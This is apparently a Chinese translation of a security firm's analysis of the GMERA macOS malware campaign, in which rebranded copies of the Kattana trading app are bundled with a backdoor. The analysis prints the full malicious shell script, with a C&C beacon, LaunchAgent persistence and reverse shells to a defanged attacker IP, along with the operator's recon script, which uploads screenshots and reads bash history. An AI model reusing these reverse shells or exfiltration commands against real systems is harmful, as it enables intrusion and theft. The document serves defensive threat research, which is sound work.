Mac 加密貨幣交易應用程序重命名，捆綁惡意軟件

研究人員發現了針對Mac的惡意加密貨幣交易應用程序的網站。該惡意軟件用于竊取信息，例如瀏覽器Cookie，加密貨幣錢包和屏幕截圖。通過分析惡意軟件樣本，我們很快發現這是趨勢科技研究人員稱為GMERA的一項新活動，他們發表了一份分析報告與之前的活動一樣，該惡意軟件會通過HTTP向C＆C服務器報告，并使用硬編碼IP地址將遠程終端會話連接到另一臺C＆C服務器。但是，這一次，惡意軟件作者不僅包裝了原始的合法應用程序以包含惡意軟件；他們還用新名稱將Kattana交易應用程序重新命名，并復制了其原始網站。我們已經在不同的廣告系列中使用了以下虛構品牌：Cointrazer，Cupatrade，Licatrade和Trezarus。除了分析惡意軟件代碼外，研究人員還建立了蜜罐，以試圖揭示這一犯罪分子背后的動機。

分布

我們尚未能夠準確找到這些木馬化應用程序的推廣位置。但是，在2020年3月，Kattana發布了警告，建議與受害者單獨接觸以誘使他們下載木馬程序。

圖1.Kattana警告Twitter上他們軟件的木馬副本

已建立模仿網站，以使虛假的應用程序下載看起來合法。對于不認識Kattana的人來說，這些網站確實合法。

圖2. Kattana原始（合法）網站

圖3.帶有下載鏈接到惡意軟件的惡意Licatrade網站

虛假站點上的下載按鈕是指向包含木馬化應用程序捆綁包的ZIP存檔的鏈接。

分析

在這種情況下，惡意軟件分析非常簡單。我們將以Licatrade示例為例。其他示例具有微小差異，但思想和功能基本相同。趨勢科技的博客文章和Objective-See的Mac惡意軟件2019年報告提供了對早期GMERA活動的類似分析。

圖4. Licatrade應用程序捆綁包的內容

ZIP歸檔文件中文件的修改時間戳、應用程序簽名的日期以及下載歸檔文件時的Last-Modified HTTP標頭均顯示2020年4月15日。這強烈表明該活動于該日期開始。

應用程序包的資源中包含一個shell腳本(run.sh)。這個用SWIFT編寫的主要可執行文件啟動run.sh。由于某種原因，惡意軟件作者具有重復的功能，可以通過HTTP向C＆C服務器發送簡單的報告，并通過TCP連接到遠程主機，從而在主要可執行文件和Shell腳本中為攻擊者提供遠程shell。僅在shell腳本中，其他功能是通過安裝啟動代理來設置持久性。

這是完整的shell腳本源代碼：

#! /bin/bash

function remove_spec_char(){
    echo "$1" | tr -dc '[:alnum:].\r' | tr '[:upper:]' '[:lower:]'
}

whoami="$(remove_spec_char `whoami`)"
ip="$(remove_spec_char `curl -s ipecho.net/plain`)"
req=`curl -ks "http://stepbystepby[.]com/link.php?${whoami}&${ip}"`

plist_text="ZWNobyAnc2R2a21…d2Vpdm5laXZuZSc="
echo "$plist_text" | base64 --decode > "/tmp/.com.apple.system.plist"
cp "/tmp/.com.apple.system.plist" "$HOME/Library/LaunchAgents/.com.apple.system.plist"
launchctl load "/tmp/.com.apple.system.plist"
scre=`screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'`

有趣的是，Licatrade示例中的持久性已被打破：生成的Launch Agent文件（.com.apple.system.plist）的內容不是Launch所期望的“屬性列表”格式，而是要執行的命令行。

$ plist_text變量的解碼內容為：

echo 'sdvkmsdfmsd…kxweivneivne'; while :; do sleep 10000; screen -X quit; lsof -ti :25733 | xargs kill -9; screen -d -m bash -c 'bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1'; done; echo 'sdvkmsdfmsdfms…nicvmdskxweivneivne'

如果直接運行，此代碼將打開一個從受害機器到攻擊者控制的服務器的反向shell，但在這里失敗。幸運的是，對于攻擊者而言，shell腳本的最后一行還啟動了到其服務器的反向Shell。

在Licatrade之前的市場活動中使用的Cointrazer示例不受此問題的影響：啟動代理已安裝并在用戶登錄時成功啟動。

這些惡意軟件操作員使用的各種反向shell根據啟動方式連接到不同的遠程端口。所有連接均未加密。這是基于Licatrade示例的端口列表。

以下是一些使用的示例命令行：

• 使用/dev/tcp在屏幕中進行綁定：

  screen -d -m bash -c ‘bash -i >/dev/tcp/193.37.212[.]97/25733 0>&1’

• 使用ztcp的zsh：

  zsh -c ‘zmodload zsh/net/tcp && ztcp 193.37.212[.]97 25734 && zsh >&$REPLY 2>&$REPLY 0>&$REPLY’

  重命名的Kattana應用程序也位于應用程序包的資源中。我們想看看，除了更改應用程序中的名稱和圖標外，是否還要更改其他一些代碼。由于Kattana要求交易平臺進行交易的憑證，因此我們驗證了這些憑證的輸入字段是否被篡改以及憑證是否以某種方式被泄露。Kattana是使用Electron構建的，Electron應用程序具有一個app.asar文件，該文件是一個包含應用程序JavaScript代碼的存檔。我們檢查了原始Kattana應用程序和惡意Licatrade復制程序之間的所有更改，發現只更改了字符串和圖像。

圖5. Kattana和Licatrade之間的部分差異

Licatrade及其資源都使用相同的證書簽名，通用名稱字段設置為Andrey Novoselov，并使用開發人員ID M8WVDT659T。該證書由Apple于2020年4月6日頒發。在我們將此內容通知給Apple的同一天，該證書已被撤銷。

圖6.用于簽署Licatrade的證書

圖7. 2020年5月28日，Licatrade證書被吊銷

對于我們分析的其他每個廣告系列，都使用了不同的證書。當我們開始分析時，兩者都已被Apple撤銷。有關這些的詳細信息，請參見IoC部分。有趣的是，就Cointrazer而言，從蘋果頒發證書到簽署木馬化申請的惡意分子之間只有15分鐘的時間。這以及我們沒有找到其他使用相同密鑰簽名的事實，表明他們為此目的明確獲得了證書。

基礎設施

可在licatrade.com網站上找到惡意的Licatrade應用程序，其C＆C HTTP報告服務器域為stepbystepby.com。這兩個域都是使用levistor777@gmail.com電子郵件地址注冊的。搜索使用該電子郵件地址注冊的其他域，可以發現以前的幾個廣告系列。這是我們在示例中找到的域或使用該電子郵件地址注冊的域的列表。

接收到該惡意軟件的第一份報告的網站和HTTP C＆C服務器都托管在Cloudflare之后。

蜜罐互動

為了更多地了解該組織的意圖，我們設置了“蜜罐”，監視GMERA反向shell后門與該惡意軟件操作員之間的所有交互。

我們沒有看到通過HTTP C＆C服務器通道發出的C＆C命令。一切都是通過反向shell發生的。首次連接時，C＆C服務器發送了一個小腳本來收集受感染設備的用戶名，macOS版本和位置（基于外部IP地址）。

#! /bin/bash
function check() {
        if [ ! -f /private/var/tmp/.i ]; then
        write
    else
        if [ "$(( $(date +"%s") - $(stat -f "%m" /private/var/tmp/.i) ))" -gt "21600" ]; then
                   write
                fi
        fi
}
function write() {
        getit=`curl -s ipinfo.io | grep -e country -e city | sed 's/[^a-zA-Z0-9]//g' | sed -e "s/city//g;s/country//g"`
    echo `whoami` > /private/var/tmp/.i
    echo `sw_vers -productVersion` >> /private/var/tmp/.i
    echo "$getit" >> /private/var/tmp/.i
}
check
cat /private/var/tmp/.i

向運營商發送了類似的內容：

jeremy
10.13.4
Bratislava
SK

TCP連接保持打開狀態，并等待其他命令。在我們的情況下，一段時間后，操作員手動檢查了機器。在我們的幾個蜜罐中，用于執行該檢查的命令各不相同。其中一部分只是列出整個文件系統中的文件。有時，他們會復制并粘貼一個Base64編碼的腳本，該腳本旨在列出信息，以揭示系統是一個蜜罐還是實際上很有趣。腳本被解碼，然后通過管道傳輸到bash。

圖8.發送base64編碼的輔助偵察腳本的操作員的數據包捕獲

這是解碼的腳本：

echo  ""

echo  "------ Whoami ------"

whoami

echo  "------ IP info ------"

curl  -s  ipinfo.io

echo  "------ Mac Model ------"

curl  -s  https://support-sp.apple.com/sp/product?cc=$(system_profiler SPHardwareDataType | awk '/Serial/ {print $4}' | cut -c 9-) | sed 's|.*<configCode>\(.*\)</configCode>.*|\1|'

echo  "------ MacOS Version ------"

sw_vers  -productVersion

sw_vers  -productVersion  |  grep  -E  "10.15.*"  &&  echo  -e  "\033[1;31m CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA CATALINA \033[0m"

sleep  1

echo  "------ MacOS Installed ------"

date  -r  /var/db/.AppleSetupDone

echo  "------ Disks ------"

df  -m

echo  "------ Video Output ------"

system_profiler SPDisplaysDataType

echo  "------ Wifi Around ------"

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport  -s

echo  "------ Virtual Mashine Detector ------"

ioreg  -l  |  grep  -e  Manufacturer  -e  'Vendor Name'  |  grep  -E  "irtual|racle|ware|arallels"  ||  echo  "Probably not a Virtual Mashine..."

echo  "--------------------------------"

echo  "------ Developer Detector ------"

echo  "--------------------------------"

echo  "||| Applications |||"

ls  -laht  /Applications  |  grep  -E  "Xcode|ublime|ourceTree|Atom|MAMP|TextWrangler|Code|ashcode"  &&  echo  "-|Be Carefull|-"

echo  "||| Short Bash History |||"

cat  ~/.bash_history  |  head  -n  20

echo  "------ Desktop Screen ------"

echo  "create screenshot..."

sw_vers  -productVersion  |  grep  -E  "10.15.*"  &  screencapture  -t  jpg  -x  /tmp/screen.jpg  &>  /dev/null

sips  -z  500  800  /tmp/screen.jpg  &>  /dev/null

sips  -s  formatOptions  50  /tmp/screen.jpg  &>  /dev/null

echo  "uploading..."

curl  -s  -F  "file=@/tmp/screen.jpg"  https://file.io 

這個腳本實際上與去年分析的一個 Stockfolio樣本中找到的插件文件非常相似。然而，在最近的活動中，他們選擇只將偵察腳本通過網絡發送給感興趣的受害者。它還進行了更新，包括了一些額外的信息。

圖9.在操作員終端上可以看到的報告輸出（從數據包捕獲中重建）

我們將在這里遍歷腳本的每個部分：

• 它從ipinfo.io獲取有關外部IP的完整報告。
• 它使用Mac序列號的后4位和Apple提供的HTTP服務將其轉換為友好名稱，例如“ MacBook Pro（Retina, 15-inch, Late 2013）”，以檢查Mac型號。虛擬機可能具有無效的序列號，并且可能不會在此處顯示模型。
• 它輸出已安裝的macOS的版本。有一個相當大的紅色（使用ANSI轉義序列），當計算機運行macOS Catalina（10.15）時，所有大寫警告。我們認為我們了解原因，以后再討論。
• 它使用/var/db/.AppleSetupDone的修改時間檢查何時安裝了macOS 。
• 它輸出磁盤使用情況和連接的顯示器的詳細信息。
• 它列出了可用的Wi-Fi網絡。蜜罐可能禁用了Wi-Fi。
• 它通過查看連接設備的供應商字符串來檢測計算機是VMware，Parallels還是VirtualBox虛擬機。
• 它檢查是否安裝了通用文本編輯器或IDE應用程序，并警告操作員“Be Carefull”，因為該受害者可能比平時更精通計算機。
• 它從bash歷史記錄文件中獲取第一個（即最舊的）20個命令。
• 最后，它會截取屏幕截圖，調整其大小并將其上傳到file.io。這樣做之前，它會檢查系統是否正在運行macOS Catalina，但是腳本中的錯誤使此檢查毫無用處。使用并行啟動命令的“＆”控制運算符代替邏輯AND（“ &&”）運算符。這意味著無論macOS版本是什么，都將截取屏幕截圖。

我們不應該在Catalina上截圖，而在操作員終端上會顯示明顯的警告標志，這讓我們感到奇怪，為什么它們在當前macOS版本上的行為有所不同。事實證明，Catalina添加了一項功能，其中記錄屏幕或拍攝屏幕截圖必須由用戶針對每個應用程序批準。我們測試了從Catalina上反向外殼的屏幕截圖，并在沙盒中顯示以下警告，考慮到交易應用程序沒有這樣做，這是相當可疑的。

圖10.操作員嘗試截圖時，macOS Catalina警告

如果認為受到破壞的系統很有趣，那么滲透階段就開始了。有趣的文件被壓縮到ZIP存檔中，并通過HTTP上傳到另一個服務器，同樣在攻擊者的控制下。

圖11.使用反向shell捕獲瀏覽器cookie的操作員數據包捕獲

有趣的是/tmp/h.zip文件不存在。也許他們復制并粘貼了用于其他受害者的某些命令。

根據我們目睹的活動，我們得出結論，該惡意軟件操作員的某些利益是：

• 瀏覽器信息（cookie，歷史記錄）
• 加密貨幣錢包
• 屏幕截圖

結論

該組織開展的眾多活動表明，在過去的一年里，他們花費了多少精力來損害進行在線交易的Mac用戶的安全。我們仍然不確定某人是如何成為受害者的，下載其中一個木馬應用程序，但運營商直接聯系目標并通過社交工程讓他們安裝惡意應用程序的假設似乎是最可信的。

有趣的是，注意到惡意軟件操作在最新版本的MacOS上是如何受到更多限制的。我們沒有看到運營商試圖繞過屏幕捕獲的限制。此外，我們認為，他們可以在運行Catalina的受害者機器上看到計算機屏幕的唯一方法是竊聽受害者所捕獲的現有屏幕截圖。這是在操作系統中實施緩解措施的一個很好的真實示例，該措施已用于限制惡意分子的活動。